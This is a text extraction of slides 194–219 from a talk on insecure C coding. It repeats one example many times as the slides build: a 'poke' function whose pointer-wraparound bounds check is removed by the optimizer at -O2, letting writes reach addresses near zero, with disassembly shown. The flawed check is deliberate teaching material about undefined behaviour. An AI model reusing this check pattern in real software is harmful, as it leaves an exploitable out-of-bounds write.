$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 194: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/194.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 195: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/195.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 196: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/196.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 197: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/197.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 198: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/198.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 199: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/199.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000009 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
![Page 200: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/200.jpg)
$ cc -m32 -O0 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000007 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000008 end=0xfffffffd --> wrapptr=0xfffffffa offset=00000009 end=0xfffffffd --> wrap
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile without optimization
And this is the "expected" behavior
![Page 201: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/201.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
![Page 202: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/202.jpg)
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 203: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/203.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.out
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 204: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/204.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 205: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/205.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 206: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/206.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 207: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/207.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 208: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/208.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 209: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/209.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 210: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/210.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 211: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/211.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 212: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/212.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 213: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/213.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
Compile with optimization
![Page 214: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/214.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
WOW? What happened?
Compile with optimization
![Page 215: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/215.jpg)
0x00001da0 <poke+0>: push ebp0x00001da1 <poke+1>: push edi0x00001da2 <poke+2>: push esi0x00001da3 <poke+3>: push ebx0x00001da4 <poke+4>: call 0x1e26 <__x86.get_pc_thunk.bx>0x00001da9 <poke+9>: sub esp,0x2c0x00001dac <poke+12>: mov eax,DWORD PTR [esp+0x4c]0x00001db0 <poke+16>: mov ebp,DWORD PTR [esp+0x40]0x00001db4 <poke+20>: mov esi,DWORD PTR [esp+0x44]0x00001db8 <poke+24>: mov edi,DWORD PTR [esp+0x48]0x00001dbc <poke+28>: mov DWORD PTR [esp+0x1c],eax0x00001dc0 <poke+32>: lea eax,[ebx+0xf3]0x00001dc6 <poke+38>: mov DWORD PTR [esp+0x4],ebp0x00001dca <poke+42>: mov DWORD PTR [esp+0x8],esi0x00001dce <poke+46>: mov DWORD PTR [esp+0xc],edi0x00001dd2 <poke+50>: mov DWORD PTR [esp],eax0x00001dd5 <poke+53>: call 0x1e70 <dyld_stub_printf>0x00001dda <poke+58>: lea edx,[ebp+esi+0x0]0x00001dde <poke+62>: lea eax,[ebx+0x10e]0x00001de4 <poke+68>: cmp edi,edx0x00001de6 <poke+70>: jbe 0x1e16 <poke+118>0x00001de8 <poke+72>: test esi,esi0x00001dea <poke+74>: js 0x1e10 <poke+112>0x00001dec <poke+76>: movzx ebp,BYTE PTR [esp+0x1c]0x00001df1 <poke+81>: lea eax,[ebx+0x12b]0x00001df7 <poke+87>: mov DWORD PTR [esp+0x48],edx0x00001dfb <poke+91>: mov DWORD PTR [esp+0x40],eax0x00001dff <poke+95>: mov DWORD PTR [esp+0x44],ebp0x00001e03 <poke+99>: add esp,0x2c0x00001e06 <poke+102>: pop ebx0x00001e07 <poke+103>: pop esi0x00001e08 <poke+104>: pop edi0x00001e09 <poke+105>: pop ebp0x00001e0a <poke+106>: jmp 0x1e70 <dyld_stub_printf>0x00001e0f <poke+111>: nop 0x00001e10 <poke+112>: lea eax,[ebx+0x121]0x00001e16 <poke+118>: mov DWORD PTR [esp+0x40],eax0x00001e1a <poke+122>: add esp,0x2c0x00001e1d <poke+125>: pop ebx0x00001e1e <poke+126>: pop esi0x00001e1f <poke+127>: pop edi0x00001e20 <poke+128>: pop ebp0x00001e21 <poke+129>: jmp 0x1e76 <dyld_stub_puts>
![Page 216: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/216.jpg)
0x00001da0 <poke+0>: push ebp0x00001da1 <poke+1>: push edi0x00001da2 <poke+2>: push esi0x00001da3 <poke+3>: push ebx0x00001da4 <poke+4>: call 0x1e26 <__x86.get_pc_thunk.bx>0x00001da9 <poke+9>: sub esp,0x2c0x00001dac <poke+12>: mov eax,DWORD PTR [esp+0x4c]0x00001db0 <poke+16>: mov ebp,DWORD PTR [esp+0x40]0x00001db4 <poke+20>: mov esi,DWORD PTR [esp+0x44]0x00001db8 <poke+24>: mov edi,DWORD PTR [esp+0x48]0x00001dbc <poke+28>: mov DWORD PTR [esp+0x1c],eax0x00001dc0 <poke+32>: lea eax,[ebx+0xf3]0x00001dc6 <poke+38>: mov DWORD PTR [esp+0x4],ebp0x00001dca <poke+42>: mov DWORD PTR [esp+0x8],esi0x00001dce <poke+46>: mov DWORD PTR [esp+0xc],edi0x00001dd2 <poke+50>: mov DWORD PTR [esp],eax0x00001dd5 <poke+53>: call 0x1e70 <dyld_stub_printf>0x00001dda <poke+58>: lea edx,[ebp+esi+0x0]0x00001dde <poke+62>: lea eax,[ebx+0x10e]0x00001de4 <poke+68>: cmp edi,edx0x00001de6 <poke+70>: jbe 0x1e16 <poke+118>0x00001de8 <poke+72>: test esi,esi0x00001dea <poke+74>: js 0x1e10 <poke+112>0x00001dec <poke+76>: movzx ebp,BYTE PTR [esp+0x1c]0x00001df1 <poke+81>: lea eax,[ebx+0x12b]0x00001df7 <poke+87>: mov DWORD PTR [esp+0x48],edx0x00001dfb <poke+91>: mov DWORD PTR [esp+0x40],eax0x00001dff <poke+95>: mov DWORD PTR [esp+0x44],ebp0x00001e03 <poke+99>: add esp,0x2c0x00001e06 <poke+102>: pop ebx0x00001e07 <poke+103>: pop esi0x00001e08 <poke+104>: pop edi0x00001e09 <poke+105>: pop ebp0x00001e0a <poke+106>: jmp 0x1e70 <dyld_stub_printf>0x00001e0f <poke+111>: nop 0x00001e10 <poke+112>: lea eax,[ebx+0x121]0x00001e16 <poke+118>: mov DWORD PTR [esp+0x40],eax0x00001e1a <poke+122>: add esp,0x2c0x00001e1d <poke+125>: pop ebx0x00001e1e <poke+126>: pop esi0x00001e1f <poke+127>: pop edi0x00001e20 <poke+128>: pop ebp0x00001e21 <poke+129>: jmp 0x1e76 <dyld_stub_puts>
Here is the machine code generated by the compiler. The essence is that...
![Page 217: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/217.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
![Page 218: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/218.jpg)
$ cc -m32 -O2 poke.c poke_main.c && ./a.outptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffaptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffbptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffcptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of boundsptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3
void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value){ printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of bounds\n"); return; } if (ptr + offset < ptr) { printf(" --> wrap\n"); return; } printf(" --> poke %d into %p\n", value, ptr + offset); // TODO: implement this...}
When the optimizer kicked in, this happened...
![Page 219: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/219.jpg)
